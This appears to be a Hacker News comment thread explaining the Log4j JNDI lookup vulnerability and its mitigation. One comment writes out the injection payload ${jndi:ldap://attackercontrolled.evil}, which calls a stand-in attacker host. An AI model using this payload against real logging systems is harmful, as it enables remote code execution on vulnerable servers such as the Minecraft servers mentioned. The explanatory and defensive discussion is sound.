3 ms·

What’s the actual bug and how would it be exploited?

• ievans 5y ago
  If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deserialization/ https://vickieli.dev/insecure%20deserialization/java-deseria... Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027 https://news.ycombinator.com/item?id=29505027
  • koolba 5y ago
    Thank you for the explanation. Mitigation seems to disable JNDI lookups. Wouldn’t it make more sense to disable parsing altogether? In what possible situation does anyone want their logging library to run eval(…) on arbitrary inputs?!
• ddoubleU 5y ago
  Most current Minecraft server versions as well as clients are vulnerable (to RCE).